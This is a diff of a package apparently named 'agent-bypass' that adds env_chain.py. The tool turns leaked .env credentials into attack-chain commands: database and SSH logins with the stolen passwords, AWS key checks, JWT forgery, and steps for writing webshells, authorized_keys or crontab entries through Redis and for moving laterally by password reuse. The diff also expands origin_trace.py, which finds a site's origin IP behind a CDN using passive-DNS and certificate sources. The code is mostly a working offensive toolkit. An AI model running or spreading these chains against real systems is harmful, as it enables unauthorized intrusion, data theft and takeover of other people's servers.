agent-bypass 2.17.0 → 2.20.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,337 @@
1
+ #!/usr/bin/env python3
2
+ # -*- coding: utf-8 -*-
3
+ """env_chain — .env / 配置泄漏 → 凭据分类 → 多路径攻击链生成(离线,只读)
4
+
5
+ 场景:拿到 .env / config / docker-compose / 备份配置后,快速识别里面有哪些凭据面
6
+ (MySQL/Redis/PostgreSQL/MongoDB、AWS/云 AK、JWT_SECRET/APP_KEY、SMTP、SSH),
7
+ 生成「只读验证 → 多路径链」的命令模板与攻击图。不联网、不写目标,命令默认脱敏。
8
+
9
+ 用法:
10
+ python3 env_chain.py .env
11
+ cat .env | python3 env_chain.py -
12
+ python3 env_chain.py .env --reveal # 输出含真实密钥的命令(谨慎,别贴日志)
13
+ python3 env_chain.py .env --json
14
+ python3 env_chain.py .env --ip 1.2.3.4 # 给 SSH 等命令补目标 IP
15
+ """
16
+ import json
17
+ import re
18
+ import sys
19
+ import urllib.parse
20
+
21
+ try:
22
+ import argsmini as argparse
23
+ except Exception:
24
+ import argparse # type: ignore
25
+
26
+ MASK = "***"
27
+
28
+ # 分类规则(按优先级从上到下)
29
+ RULES = [
30
+ ("db_url", re.compile(r"^(DATABASE_URL|DB_URL|MYSQL_URL|POSTGRES_URL|MONGO_URL|MONGODB_URL|REDIS_URL)$")),
31
+ ("mysql", re.compile(r"^(MYSQL|MARIADB)_|^(DB_HOST|DB_PORT|DB_USER|DB_USERNAME|DB_PASS|DB_PASSWORD|DB_NAME|DB_DATABASE)$")),
32
+ ("postgres", re.compile(r"^(POSTGRES|PG(HOST|PORT|USER|PASSWORD|DB))")),
33
+ ("mongo", re.compile(r"^(MONGO|MONGODB)_")),
34
+ ("redis", re.compile(r"^REDIS_")),
35
+ ("aws", re.compile(r"^(AWS_|S3_|BUCKET_|AMAZON_)")),
36
+ ("cloud", re.compile(r"^(ALIYUN|ALI_OSS|OSS_|TENCENT|COS_|AZURE|GCP|GOOGLE_)")),
37
+ ("secret", re.compile(r"^(JWT_SECRET|JWT_KEY|SECRET_KEY|SECRET|APP_KEY|APP_SECRET|SESSION_SECRET|API_SECRET|ENCRYPTION_KEY)$")),
38
+ ("smtp", re.compile(r"^(SMTP|MAIL|EMAIL)_|^(SMTP_HOST|SMTP_USER|SMTP_PASS|SMTP_PASSWORD)$")),
39
+ ("ssh", re.compile(r"SSH_|PRIVATE_KEY|ID_RSA")),
40
+ ("api_key", re.compile(r"^(GITHUB|GITLAB|STRIPE|SLACK|TELEGRAM|DINGTALK|WECHAT|ALIPAY|PAY)_")),
41
+ ]
42
+
43
+
44
+ def parse_env(text):
45
+ """解析 .env / key=value 配置 → dict(去注释、引号、export 前缀)。"""
46
+ out = {}
47
+ for raw in str(text or "").splitlines():
48
+ line = raw.strip()
49
+ if not line or line.startswith("#") or line.startswith(";"):
50
+ continue
51
+ line = re.sub(r"^export\s+", "", line)
52
+ if "=" not in line:
53
+ continue
54
+ key, _, val = line.partition("=")
55
+ key, val = key.strip(), val.strip()
56
+ if len(val) >= 2 and val[0] in "\"'" and val[-1] == val[0]:
57
+ val = val[1:-1]
58
+ if key:
59
+ out[key] = val
60
+ return out
61
+
62
+
63
+ def classify(key):
64
+ for group, rx in RULES:
65
+ if rx.search(key.upper()):
66
+ return group
67
+ return "other"
68
+
69
+
70
+ def _pick(env, names, default=""):
71
+ for n in names:
72
+ if env.get(n):
73
+ return env[n]
74
+ return default
75
+
76
+
77
+ def _parse_url(url):
78
+ """DATABASE_URL/REDIS_URL → dict(service, host, port, user, password, db)。"""
79
+ try:
80
+ u = urllib.parse.urlparse(url)
81
+ except Exception:
82
+ return None
83
+ schemes = {"mysql": 3306, "mariadb": 3306, "postgres": 5432, "postgresql": 5432,
84
+ "mongodb": 27017, "redis": 6379, "rediss": 6379}
85
+ scheme = (u.scheme or "").lower()
86
+ if scheme not in schemes:
87
+ return None
88
+ return {
89
+ "service": scheme,
90
+ "host": u.hostname or "",
91
+ "port": u.port or schemes[scheme],
92
+ "user": urllib.parse.unquote(u.username or ""),
93
+ "password": urllib.parse.unquote(u.password or ""),
94
+ "db": (u.path or "/").lstrip("/"),
95
+ }
96
+
97
+
98
+ def extract(env):
99
+ """从 env dict 提取服务凭据/密钥/云 AK/SMTP/SSH → 结构化 findings。"""
100
+ groups = {}
101
+ for k, v in env.items():
102
+ groups.setdefault(classify(k), {})[k] = v
103
+
104
+ services = []
105
+ # 1) URL 型(优先级最高)
106
+ for k in env:
107
+ if classify(k) == "db_url" and "://" in env[k]:
108
+ svc = _parse_url(env[k])
109
+ if svc:
110
+ svc["source"] = k
111
+ services.append(svc)
112
+ # 2) 分离字段型
113
+ mysql = {
114
+ "service": "mysql",
115
+ "host": _pick(env, ["MYSQL_HOST", "DB_HOST"]),
116
+ "port": int(_pick(env, ["MYSQL_PORT", "DB_PORT"], "3306") or 3306),
117
+ "user": _pick(env, ["MYSQL_USER", "MYSQL_USERNAME", "DB_USER", "DB_USERNAME"]),
118
+ "password": _pick(env, ["MYSQL_PASSWORD", "MYSQL_PASS", "DB_PASSWORD", "DB_PASS"]),
119
+ "db": _pick(env, ["MYSQL_DATABASE", "MYSQL_DB", "DB_NAME", "DB_DATABASE"]),
120
+ "source": "MYSQL_*/DB_*",
121
+ }
122
+ if mysql["host"] or mysql["user"] or mysql["password"]:
123
+ services.append(mysql)
124
+ pg = {
125
+ "service": "postgres",
126
+ "host": _pick(env, ["POSTGRES_HOST", "PGHOST"]),
127
+ "port": int(_pick(env, ["POSTGRES_PORT", "PGPORT"], "5432") or 5432),
128
+ "user": _pick(env, ["POSTGRES_USER", "PGUSER"]),
129
+ "password": _pick(env, ["POSTGRES_PASSWORD", "PGPASSWORD"]),
130
+ "db": _pick(env, ["POSTGRES_DB", "PGDATABASE"]),
131
+ "source": "POSTGRES_*/PG*",
132
+ }
133
+ if pg["host"] or pg["user"] or pg["password"]:
134
+ services.append(pg)
135
+ redis = {
136
+ "service": "redis",
137
+ "host": _pick(env, ["REDIS_HOST"]),
138
+ "port": int(_pick(env, ["REDIS_PORT"], "6379") or 6379),
139
+ "user": _pick(env, ["REDIS_USER"]),
140
+ "password": _pick(env, ["REDIS_PASSWORD", "REDIS_PASS"]),
141
+ "db": _pick(env, ["REDIS_DB"]),
142
+ "source": "REDIS_*",
143
+ }
144
+ if redis["host"] or redis["password"]:
145
+ services.append(redis)
146
+
147
+ # 去重
148
+ uniq, seen = [], set()
149
+ for s in services:
150
+ key = (s["service"], s["host"], s["port"], s["user"])
151
+ if key not in seen:
152
+ seen.add(key)
153
+ uniq.append(s)
154
+
155
+ aws = {}
156
+ if env.get("AWS_ACCESS_KEY_ID") or env.get("AWS_SECRET_ACCESS_KEY"):
157
+ aws = {
158
+ "access_key": env.get("AWS_ACCESS_KEY_ID", ""),
159
+ "secret_key": env.get("AWS_SECRET_ACCESS_KEY", ""),
160
+ "region": env.get("AWS_REGION", env.get("AWS_DEFAULT_REGION", "")),
161
+ "source": "AWS_*",
162
+ }
163
+
164
+ secrets = {k: v for k, v in env.items() if classify(k) == "secret"}
165
+ smtp = {k: v for k, v in env.items() if classify(k) == "smtp"}
166
+ ssh = {k: v for k, v in env.items() if classify(k) == "ssh"}
167
+ return {
168
+ "groups": {g: {k: (MASK if _sensitive(g) else v) for k, v in d.items()}
169
+ for g, d in groups.items()},
170
+ "services": uniq,
171
+ "aws": aws,
172
+ "secrets": secrets,
173
+ "smtp": smtp,
174
+ "ssh": ssh,
175
+ "raw_count": len(env),
176
+ }
177
+
178
+
179
+ def _sensitive(group):
180
+ return group in ("mysql", "postgres", "mongo", "redis", "aws", "cloud", "secret", "smtp", "ssh", "db_url", "api_key")
181
+
182
+
183
+ def _q(val):
184
+ if val is None or val == "":
185
+ return "<空>"
186
+ return str(val)
187
+
188
+
189
+ def build_chains(data, reveal=False, ip=""):
190
+ """生成多路径链:{path, from, target, verify(commands), next, risk}"""
191
+ def secret(v):
192
+ if reveal:
193
+ return _q(v)
194
+ return MASK if v else "<空>"
195
+
196
+ chains = []
197
+ host_hint = ip or "<HOST>"
198
+ for s in data["services"]:
199
+ host = s["host"] or host_hint
200
+ if s["service"] in ("mysql", "mariadb"):
201
+ cmd = ("mysql -h %s -P %s -u %s -p'%s' -e 'select version(), current_user(); show databases;'"
202
+ % (host, s["port"], _q(s["user"] or "root"), secret(s["password"])))
203
+ chains.append({
204
+ "path": ".env → MySQL 凭据 → 只读验证/拖库 → 同口令复用 SSH/面板",
205
+ "from": s["source"], "target": "%s:%s" % (host, s["port"]),
206
+ "verify": cmd,
207
+ "next": "secure_file_priv 检查 → 读/写文件(授权内)→ 用户哈希离线 → 同口令横向",
208
+ "risk": "high" if s["password"] else "medium",
209
+ })
210
+ elif s["service"] in ("postgres", "postgresql"):
211
+ chains.append({
212
+ "path": ".env → PostgreSQL 凭据 → 只读验证 → 拖库/命令执行(授权内)",
213
+ "from": s["source"], "target": "%s:%s" % (host, s["port"]),
214
+ "verify": "PGPASSWORD='%s' psql -h %s -p %s -U %s -d %s -c 'select version(), current_user;'"
215
+ % (secret(s["password"]), host, s["port"], _q(s["user"] or "postgres"), _q(s["db"] or "postgres")),
216
+ "next": "pg_read_file / COPY PROGRAM / 扩展提权;同口令复用",
217
+ "risk": "high" if s["password"] else "medium",
218
+ })
219
+ elif s["service"] == "redis":
220
+ chains.append({
221
+ "path": ".env → Redis 凭据 → 只读验证 → 写 shell/crontab/主从复制(授权内)",
222
+ "from": s["source"], "target": "%s:%s" % (host, s["port"]),
223
+ "verify": "redis-cli -h %s -p %s%s ping" % (host, s["port"],
224
+ (" -a '%s'" % secret(s["password"])) if s["password"] else ""),
225
+ "next": "config get dir/dbfilename → 写 webshell/authorized_keys/crontab(写前备份)",
226
+ "risk": "high" if s["password"] else "medium",
227
+ })
228
+ elif s["service"] == "mongodb":
229
+ chains.append({
230
+ "path": ".env → MongoDB 凭据 → 只读验证/拖库",
231
+ "from": s["source"], "target": "%s:%s" % (host, s["port"]),
232
+ "verify": "mongosh 'mongodb://%s:%s@%s:%s/%s' --eval 'db.runCommand({ping:1})'"
233
+ % (_q(s["user"]), secret(s["password"]), host, s["port"], _q(s["db"] or "")),
234
+ "next": "未授权/弱口令优先;只读集合导出",
235
+ "risk": "medium",
236
+ })
237
+
238
+ if data["aws"]:
239
+ chains.append({
240
+ "path": ".env → AWS AK → STS 验证 → S3/ECS/其他云资源(授权内)",
241
+ "from": data["aws"]["source"], "target": "aws",
242
+ "verify": "AWS_ACCESS_KEY_ID='%s' AWS_SECRET_ACCESS_KEY='%s' AWS_DEFAULT_REGION='%s' aws sts get-caller-identity"
243
+ % (secret(data["aws"]["access_key"]), secret(data["aws"]["secret_key"]), _q(data["aws"]["region"])),
244
+ "next": "aws s3 ls;按权限枚举 S3/ECR/ECS/SSM;只读验证 → 影响评估",
245
+ "risk": "high",
246
+ })
247
+ if data["secrets"]:
248
+ chains.append({
249
+ "path": ".env → JWT_SECRET/SECRET_KEY → 伪造 token / 会话签名",
250
+ "from": "SECRET_*", "target": "web",
251
+ "verify": "# 用真实 token 做 HS256 验签复现(离线):hashcat -m 16500 token.txt 或 jwt_tool 验证",
252
+ "next": "伪造管理员 token 打后台(授权内);Laravel APP_KEY 泄漏 → 反序列化/RCE 风险",
253
+ "risk": "high",
254
+ })
255
+ if data["smtp"]:
256
+ chains.append({
257
+ "path": ".env → SMTP 凭据 → 发信能力验证(授权内)",
258
+ "from": "SMTP_*", "target": "smtp",
259
+ "verify": "# python3 smtplib 登录测试(只发给自己);注意反垃圾/发信限额",
260
+ "next": "同凭据试其他系统邮箱复用到后台找回/通知面",
261
+ "risk": "low",
262
+ })
263
+ if data["ssh"]:
264
+ chains.append({
265
+ "path": ".env/备份 → SSH 私钥/用户 → SSH 登录 → 内网横向",
266
+ "from": "SSH_*/PRIVATE_KEY", "target": "%s:22" % host_hint,
267
+ "verify": "ssh -i <key> -o BatchMode=yes -o ConnectTimeout=5 %s 'id; hostname'"
268
+ % _q(data["ssh"].get("SSH_USER") or "<user>"),
269
+ "next": "authorized_keys/端口转发/内网 DB 暴露;私钥复用其他主机",
270
+ "risk": "high",
271
+ })
272
+ return chains
273
+ def main(argv=None):
274
+ ap = argparse.ArgumentParser(description=".env/配置泄漏 → 凭据分类 → 多路径攻击链(离线只读)")
275
+ ap.add_argument("file", nargs="?", help=".env 文件路径;'-' 或省略读 stdin")
276
+ ap.add_argument("--reveal", action="store_true", help="输出含真实密钥的命令(默认脱敏)")
277
+ ap.add_argument("--ip", default="", help="补充目标 IP(SSH/未写 host 的服务命令用)")
278
+ ap.add_argument("--json", action="store_true")
279
+ a = ap.parse_args(argv)
280
+
281
+ if a.file in (None, "-"):
282
+ text = sys.stdin.read()
283
+ src = "stdin"
284
+ else:
285
+ try:
286
+ with open(a.file, encoding="utf-8", errors="ignore") as f:
287
+ text = f.read()
288
+ src = a.file
289
+ except OSError as e:
290
+ print("[错误] 读取失败: %s" % e, file=sys.stderr)
291
+ return 2
292
+ env = parse_env(text)
293
+ if not env:
294
+ print("[错误] 未解析到任何 key=value(不是 .env/配置文件?)", file=sys.stderr)
295
+ return 2
296
+ data = extract(env)
297
+ chains = build_chains(data, reveal=a.reveal, ip=a.ip)
298
+ services_out = []
299
+ for s in data["services"]:
300
+ s2 = dict(s)
301
+ if not a.reveal:
302
+ s2["password"] = MASK if s2.get("password") else ""
303
+ services_out.append(s2)
304
+ payload = {"source": src, "env_keys": data["raw_count"], "groups": data["groups"],
305
+ "services": services_out,
306
+ "aws": {k: (v if a.reveal or k == "source" else MASK) for k, v in data["aws"].items()} if data["aws"] else {},
307
+ "chains": chains,
308
+ "note": "命令默认脱敏;--reveal 输出真实值。只读验证优先,写操作先备份并确认授权范围。"}
309
+ if a.json:
310
+ print(json.dumps(payload, ensure_ascii=False, indent=2))
311
+ return 0
312
+
313
+ print("# 来源: %s | 解析 %d 个键" % (src, data["raw_count"]))
314
+ print("\n## 识别到的凭据面")
315
+ for g, d in data["groups"].items():
316
+ if g in ("other",) or not d:
317
+ continue
318
+ print("- %-9s %s" % (g, ", ".join(sorted(d)[:8]) + (" ..." if len(d) > 8 else "")))
319
+ if data["services"]:
320
+ print("\n## 服务凭据")
321
+ for s in data["services"]:
322
+ print("- %-8s %s:%s user=%s db=%s(来源 %s)" % (
323
+ s["service"], s["host"] or "<HOST>", s["port"], s["user"] or "-", s["db"] or "-", s["source"]))
324
+ print("\n## 多路径链(只读验证优先)")
325
+ for i, c in enumerate(chains, 1):
326
+ print("\n[%d] %s" % (i, c["path"]))
327
+ print(" 目标: %s | 风险: %s" % (c["target"], c["risk"]))
328
+ print(" 验证: %s" % c["verify"])
329
+ print(" 下一步: %s" % c["next"])
330
+ if not chains:
331
+ print("- 未识别到可直接利用的凭据(可能只有普通配置项)")
332
+ print("\n# 范围纪律:只对授权资产验证;写操作前备份;密钥勿贴日志/报告。")
333
+ return 0
334
+
335
+
336
+ if __name__ == "__main__":
337
+ sys.exit(main())
@@ -12,6 +12,8 @@
12
12
  python3 origin_trace.py example.com --json
13
13
  python3 origin_trace.py example.com --max-candidates 60 --timeout 8
14
14
  python3 origin_trace.py example.com --no-ct --max-candidates 8 --budget 60 # iSH/fake-IP:跳过 CT、限时防卡
15
+ python3 origin_trace.py example.com --ct-sources crt.sh,certspotter,otx # 指定/兜底 CT 源(all=全部)
16
+ python3 origin_trace.py example.com --max-ct 120 --ct-budget 20 # CT 主机上限/多源总预算
15
17
  DOH_PROVIDERS="https://1.1.1.1/dns-query" python3 origin_trace.py example.com
16
18
 
17
19
  输出: 候选源站表(ip / 分数 / 来源 / 标题 / Server / CDN 头),--json 输出机器可读结构。
@@ -20,6 +22,7 @@
20
22
  import concurrent.futures
21
23
  import hashlib
22
24
  import json
25
+ import os
23
26
  import re
24
27
  import socket
25
28
  import ssl
@@ -41,6 +44,11 @@ SUBS = [
41
44
  "legacy", "backup", "admin", "api", "gateway", "vpn", "oa", "portal",
42
45
  "m", "wap", "static", "img", "cdn", "assets", "uploads",
43
46
  ]
47
+ ISH = os.path.isdir("/var/minis") or bool(os.environ.get("MINIS_ROOT"))
48
+
49
+ # 多源证书透明度 / 被动 DNS(无 Key 优先;单个源 502/超时不影响其他源)
50
+ CT_SOURCES = ("crt.sh", "certspotter", "otx", "hackertarget", "anubis", "rapiddns")
51
+
44
52
  CDN_HEADERS = (
45
53
  "cf-ray", "cf-cache-status", "x-cache", "via", "x-amz-cf-id", "x-amz-cf-pop",
46
54
  "x-fastly-request-id", "x-akamai-transformed", "x-cdn", "x-served-by",
@@ -72,23 +80,35 @@ def doh_resolve(name, timeout=6.0):
72
80
  return []
73
81
 
74
82
 
75
- def fetch_ct_names(domain, timeout=8.0):
76
- """证书透明度(crt.sh)里的 DNS 名;返回去重主机名列表。
77
- crt.sh 偶发 502/超时:重试一次,仍失败则跳过(不阻塞主流程)。"""
78
- url = "https://crt.sh/?q=" + urllib.parse.quote("%." + domain, safe="") + "&output=json"
83
+ def _host_in_domain(name, domain):
84
+ """规范化主机名并校验属于目标域;不合法返回 None。"""
85
+ name = str(name or "").strip().lower().lstrip("*.").rstrip(".")
86
+ if name and (name == domain or name.endswith("." + domain)):
87
+ return name
88
+ return None
89
+
90
+
91
+ def _dedup_hosts(cands, domain, seen, out):
92
+ for raw in cands:
93
+ n = _host_in_domain(raw, domain)
94
+ if n and n not in seen:
95
+ seen.add(n)
96
+ out.append(n)
97
+
98
+
99
+ def http_get_text(url, timeout=8.0, retry=1):
100
+ """GET 文本(带 UA + 重试);失败抛异常由调用方兜底。"""
79
101
  last = None
80
- for attempt in (1, 2):
102
+ for attempt in range(retry + 1):
81
103
  try:
82
104
  req = urllib.request.Request(url, headers={"user-agent": UA})
83
105
  with urllib.request.urlopen(req, timeout=timeout) as r:
84
- text = r.read(8 << 20).decode("utf-8", "ignore")
85
- return parse_crtsh(text, domain)
106
+ return r.read(8 << 20).decode("utf-8", "ignore")
86
107
  except Exception as e:
87
108
  last = e
88
- if attempt == 1:
89
- time.sleep(1.0)
90
- _err("[crt.sh] 查询失败(已重试): %s —— 跳过 CT,继续漏质子域" % last)
91
- return []
109
+ if attempt < retry:
110
+ time.sleep(0.8)
111
+ raise last
92
112
 
93
113
 
94
114
  def parse_crtsh(text, domain):
@@ -101,18 +121,141 @@ def parse_crtsh(text, domain):
101
121
  return []
102
122
  out, seen = [], set()
103
123
  for row in rows:
124
+ if isinstance(row, dict):
125
+ _dedup_hosts(str(row.get("name_value") or "").split("\n"), domain, seen, out)
126
+ return out
127
+
128
+
129
+ def parse_certspotter(text, domain):
130
+ """CertSpotter issuances JSON → dns_names 里的主机名。"""
131
+ try:
132
+ rows = json.loads(text)
133
+ except (ValueError, TypeError):
134
+ return []
135
+ out, seen = [], set()
136
+ for row in rows if isinstance(rows, list) else []:
137
+ if isinstance(row, dict):
138
+ _dedup_hosts(row.get("dns_names") or [], domain, seen, out)
139
+ return out
140
+
141
+
142
+ def parse_otx(text, domain):
143
+ """OTX 被动 DNS → (主机名列表, IP 列表)。"""
144
+ try:
145
+ d = json.loads(text)
146
+ except (ValueError, TypeError):
147
+ return [], []
148
+ rows = d.get("passive_dns") if isinstance(d, dict) else None
149
+ out, seen, ips = [], set(), []
150
+ for row in rows if isinstance(rows, list) else []:
104
151
  if not isinstance(row, dict):
105
152
  continue
106
- for raw in str(row.get("name_value") or "").split("\n"):
107
- name = raw.strip().lower().lstrip("*.").rstrip(".")
108
- if not name or name in seen:
109
- continue
110
- if name == domain or name.endswith("." + domain):
111
- seen.add(name)
112
- out.append(name)
153
+ host = _host_in_domain(row.get("hostname") or "", domain)
154
+ if not host:
155
+ continue # 只收目标域相关记录,避免无关 IP 污染候选
156
+ _dedup_hosts([host], domain, seen, out)
157
+ ip = str(row.get("address") or "").strip()
158
+ if netdns is not None and netdns.is_ipv4(ip) and not netdns.is_fake_ip(ip) and ip not in ips:
159
+ ips.append(ip)
160
+ return out, ips
161
+
162
+
163
+ def parse_hackertarget(text, domain):
164
+ """HackerTarget hostsearch CSV(host,ip)→ (主机名, IP)。"""
165
+ out, seen, ips = [], set(), []
166
+ for line in str(text or "").splitlines():
167
+ parts = [x.strip() for x in line.split(",")]
168
+ if len(parts) != 2:
169
+ continue
170
+ host = _host_in_domain(parts[0], domain)
171
+ if not host:
172
+ continue # 只收目标域相关主机/IP
173
+ _dedup_hosts([host], domain, seen, out)
174
+ if netdns is not None and netdns.is_ipv4(parts[1]) and not netdns.is_fake_ip(parts[1]) and parts[1] not in ips:
175
+ ips.append(parts[1])
176
+ return out, ips
177
+
178
+
179
+ def parse_anubis(text, domain):
180
+ """Anubis(jldc.me) 子域 JSON 数组 → 主机名。"""
181
+ try:
182
+ rows = json.loads(text)
183
+ except (ValueError, TypeError):
184
+ return []
185
+ out, seen = [], set()
186
+ _dedup_hosts(rows if isinstance(rows, list) else [], domain, seen, out)
113
187
  return out
114
188
 
115
189
 
190
+ def parse_rapiddns(text, domain):
191
+ """RapidDNS HTML → 页面中的子域文本(宽松匹配)。"""
192
+ out, seen = [], set()
193
+ for m in re.finditer(r"([a-zA-Z0-9][a-zA-Z0-9._-]*\." + re.escape(domain) + r")", str(text or "")):
194
+ _dedup_hosts([m.group(1)], domain, seen, out)
195
+ return out
196
+
197
+
198
+ def _ct_fetch(name, domain, timeout):
199
+ """单个 CT/被动 DNS 源 → (hosts, ips)。"""
200
+ q = urllib.parse.quote(domain, safe="")
201
+ if name == "crt.sh":
202
+ text = http_get_text("https://crt.sh/?q=" + urllib.parse.quote("%." + domain, safe="") + "&output=json",
203
+ timeout, retry=1)
204
+ return parse_crtsh(text, domain), []
205
+ if name == "certspotter":
206
+ text = http_get_text("https://api.certspotter.com/v1/issuances?domain=%s&include_subdomains=true&expand=dns_names" % q,
207
+ timeout)
208
+ return parse_certspotter(text, domain), []
209
+ if name == "otx":
210
+ text = http_get_text("https://otx.alienvault.com/api/v1/indicators/domain/%s/passive_dns" % q, timeout)
211
+ return parse_otx(text, domain)
212
+ if name == "hackertarget":
213
+ text = http_get_text("https://api.hackertarget.com/hostsearch/?q=%s" % q, timeout)
214
+ return parse_hackertarget(text, domain)
215
+ if name == "anubis":
216
+ text = http_get_text("https://jldc.me/anubis/subdomains/%s" % q, timeout)
217
+ return parse_anubis(text, domain), []
218
+ if name == "rapiddns":
219
+ text = http_get_text("https://rapiddns.io/subdomain/%s?full=1" % q, timeout)
220
+ return parse_rapiddns(text, domain), []
221
+ return [], []
222
+
223
+
224
+ def fetch_passive_names(domain, timeout=8.0, sources=None, max_hosts=80, budget=None):
225
+ """多源并发查询 CT/被动 DNS:单源失败不影响其他;总预算到期返回部分结果。
226
+ 返回 (hosts, passive_ips, per_source_status)。"""
227
+ sources = list(sources or CT_SOURCES)
228
+ budget = budget if budget and budget > 0 else (10.0 if ISH else 15.0)
229
+ workers = min(4 if ISH else 6, max(1, len(sources)))
230
+ hosts, seen, ips, status = [], set(), [], {}
231
+ with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
232
+ futs = {ex.submit(_ct_fetch, name, domain, timeout): name for name in sources}
233
+ try:
234
+ for fut in concurrent.futures.as_completed(futs, timeout=budget):
235
+ src = futs[fut]
236
+ try:
237
+ h, ip = fut.result()
238
+ except Exception as e:
239
+ status[src] = "失败: %s" % str(e)[:60]
240
+ _err("[CT] %-12s 失败,跳过: %s" % (src, str(e)[:80]))
241
+ continue
242
+ status[src] = len(h) + (len(ip) and len(ip) or 0) * 0 # 仅主机数用于展示
243
+ for n in h:
244
+ if n not in seen and len(hosts) < max_hosts:
245
+ seen.add(n)
246
+ hosts.append(n)
247
+ for ipv in ip:
248
+ if ipv not in ips:
249
+ ips.append(ipv)
250
+ _err("[CT] %-12s %d 主机%s" % (src, len(h), (" / %d IP" % len(ip)) if ip else ""))
251
+ except concurrent.futures.TimeoutError:
252
+ status["_budget"] = "总预算 %.0fs 超时(返回部分)" % budget
253
+ _err("[CT] 总预算 %.0fs 到期,使用已返回的 %d 个主机" % (budget, len(hosts)))
254
+ finally:
255
+ ex.shutdown(wait=False, cancel_futures=True)
256
+ return hosts, ips, status
257
+
258
+
116
259
  def cdn_markers(headers):
117
260
  return [h for h in CDN_HEADERS if h in headers]
118
261
 
@@ -213,14 +356,19 @@ def score_candidate(base, cand):
213
356
  return score, reasons
214
357
 
215
358
 
216
- def collect_candidates(domain, max_candidates=40, timeout=8.0, use_ct=True):
217
- """收集候选 (name, ip, sources)。"""
359
+ def collect_candidates(domain, max_candidates=40, timeout=8.0, use_ct=True,
360
+ ct_sources=None, max_ct=80, ct_budget=0.0):
361
+ """收集候选 (name, ip, sources):漏质子域 + 多源 CT/被动 DNS。"""
218
362
  names = ["www." + domain, domain] + ["%s.%s" % (s, domain) for s in SUBS]
363
+ passive_ips = []
219
364
  if use_ct:
220
- ct = fetch_ct_names(domain, timeout)
365
+ ct, passive_ips, _status = fetch_passive_names(
366
+ domain, timeout, sources=ct_sources, max_hosts=max_ct, budget=ct_budget)
221
367
  if ct:
222
- _err("[CT] crt.sh 返回 %d 个主机名" % len(ct))
368
+ _err("[CT] 合计 %d 个主机名" % len(ct))
223
369
  names.extend(ct)
370
+ if passive_ips:
371
+ _err("[被动DNS] 合计 %d 个 IP 并入候选" % len(passive_ips))
224
372
  uniq, seen = [], set()
225
373
  for n in names:
226
374
  n = n.strip().lower().rstrip(".")
@@ -234,11 +382,13 @@ def collect_candidates(domain, max_candidates=40, timeout=8.0, use_ct=True):
234
382
  return name, doh_resolve(name, timeout)
235
383
 
236
384
  by_ip = {}
237
- with concurrent.futures.ThreadPoolExecutor(max_workers=8) as ex:
385
+ with concurrent.futures.ThreadPoolExecutor(max_workers=(4 if ISH else 8)) as ex:
238
386
  for name, pairs in ex.map(one, uniq):
239
387
  for ip, src in pairs:
240
388
  srcs = by_ip.setdefault(ip, {"ips": set(), "sources": set()})
241
389
  srcs["sources"].add(name)
390
+ for ip in passive_ips:
391
+ by_ip.setdefault(ip, {"ips": set(), "sources": set()})["sources"].add("passive-dns")
242
392
  return by_ip
243
393
 
244
394
 
@@ -246,6 +396,7 @@ def main(argv=None):
246
396
  args = list(sys.argv[1:] if argv is None else argv)
247
397
  domains, as_json, no_verify, no_ct = [], False, False, False
248
398
  max_c, timeout, budget = 40, 8.0, 120.0
399
+ ct_sources, max_ct, ct_budget = None, 80, 0.0
249
400
  i = 0
250
401
  while i < len(args):
251
402
  a = args[i]
@@ -255,7 +406,7 @@ def main(argv=None):
255
406
  no_verify = True
256
407
  elif a == "--no-ct":
257
408
  no_ct = True
258
- elif a in ("--max-candidates", "--timeout", "--budget"):
409
+ elif a in ("--max-candidates", "--timeout", "--budget", "--max-ct", "--ct-budget", "--ct-sources"):
259
410
  if i + 1 >= len(args):
260
411
  _err("%s 缺少取值" % a)
261
412
  return 2
@@ -264,6 +415,20 @@ def main(argv=None):
264
415
  max_c = max(1, int(args[i + 1]))
265
416
  elif a == "--budget":
266
417
  budget = max(10.0, float(args[i + 1]))
418
+ elif a == "--max-ct":
419
+ max_ct = max(1, int(args[i + 1]))
420
+ elif a == "--ct-budget":
421
+ ct_budget = max(3.0, float(args[i + 1]))
422
+ elif a == "--ct-sources":
423
+ val = args[i + 1].strip()
424
+ if val.lower() == "all":
425
+ ct_sources = None
426
+ else:
427
+ picked = [x.strip() for x in val.split(",") if x.strip()]
428
+ if not picked or any(x not in CT_SOURCES for x in picked):
429
+ _err("--ct-sources 取值非法(可选: %s 或 all)" % ",".join(CT_SOURCES))
430
+ return 2
431
+ ct_sources = picked
267
432
  else:
268
433
  timeout = max(1.0, min(float(args[i + 1]), 30.0))
269
434
  except (TypeError, ValueError):
@@ -301,7 +466,8 @@ def main(argv=None):
301
466
  except Exception as e:
302
467
  _err("[基线] 探测失败: %s(继续)" % e)
303
468
 
304
- by_ip = collect_candidates(domain, max_c, timeout, use_ct=not no_ct)
469
+ by_ip = collect_candidates(domain, max_c, timeout, use_ct=not no_ct,
470
+ ct_sources=ct_sources, max_ct=max_ct, ct_budget=ct_budget)
305
471
  for ip in real_root: # 根 IP 纳入候选
306
472
  by_ip.setdefault(ip, {"sources": set()})["sources"].add(domain)
307
473